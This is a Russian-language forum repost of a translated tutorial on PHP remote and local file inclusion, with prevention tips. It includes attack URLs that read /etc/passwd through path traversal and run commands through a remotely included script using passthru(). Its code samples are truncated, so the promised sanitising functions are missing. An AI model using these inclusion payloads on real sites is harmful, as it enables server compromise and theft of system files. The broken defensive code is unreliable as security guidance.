![]() |
Remote /Local File Inclusion Exploits
Возможности дистанционного и локального включения файлов.
Дистанционные и локальные включения файлов - исключительно насущная проблема, как и многие другие. Итак, этот документ, надеюсь, даст вам некоторые идеи о том, как предотвратить возможности файловых включений на вашем сайте и, что более важно, в вашем коде. Я предоставлю некоторые примеры кода на PHP. Посмотрим на фрагмент кода, который делает RFI/LFI возможности вероятными Код: Код:
<a href=index.php?page=file1.php>Files</a>Вы должны всегда контролировать каждую порцию данных, проходящую через браузер. Когда пользователь выбирает ссылку "файлы" на веб-странице, чтобы посетить "files.php", это будет выглядеть примерно как Код: Код:
http://localhost/index.php?page=files.phpКод: Код:
http://localhost/index.php?page=../../../../../../etc/passwdКод: Код:
<a href=index.php?page=file1.php>Files</a>Код: Код:
http://localhost/index.php?page=http://google.com/Посмотрим на нечто более простое, что может быть включено в веб-страницу. Более простой и грязный путь использования RFI-возможности к вашей выгоде. Сделаем файл под названием "test.php", вставим в него следующий код и сохраним Код: Код:
<?phpКод:[/CODE] http://localhost/index.php?page=http://.../test.php[/CODE] Если код даёт запрос $_GET, мы обеспечим команду, которая пройдёт через команду passthru(). Итак, теперь мы будем иметь нечто вроде Код: Код:
http://localhost/index.php?page=http://.../test.php?cmd=cat/etc/passwdЗная, как разработать RFI-возможности, мы должны знать, как сдерживать их и делать невозможным для кого-либо дистанционное выполнение команд и включение страниц на вашем сервере. Прежде всего, мы должны отключить команду passthru(), хотя, может быть, что-либо на вашем сайте её использует (будем надеяться, что нет). Но это единственное, что мы можем сделать. Я рекомендую очищать ввод, как было сказано ранее. Тогда вместо передачи переменной непосредственно на страницу мы могли бы использовать некоторые встроенные функции, которые предлагает PHP. Например, chop(), пришедшее из PERL и заимствованное PHP, которое удаляет "белые пятна" из строки. Оно может быть использовано, например, так Код: Код:
<a href=index.php?page=file1.php>Files</a>На PHP можно построить функцию, которая очищает всё, что угодно, вот пример, написанный специально для этого объяснения Код: Код:
<?phpПеревод VNM Примечание переводчика - данный текст представляет собой неточный перевод английского текста по двум причинам: 1) Текст в нескольких местах использует специализированную терминологию, которой я вообще не понимаю и которой нет в имеющихся у меня словарях. В этих местах были использованы эквиваленты, подобранные из соображений согласования с текстом и степени понимания текста. 2) Автор использует часто замечаемый мной в англоязычных источниках разговорный, образный стиль изложения, совершенно не соответствующий тематике. Текст был сокращён в тех местах, где красивости этого стиля не играли роли в понимании смысла и/или трудно поддавались переводу. copy by:forum.xhackers.ru |
| Время: 03:42 |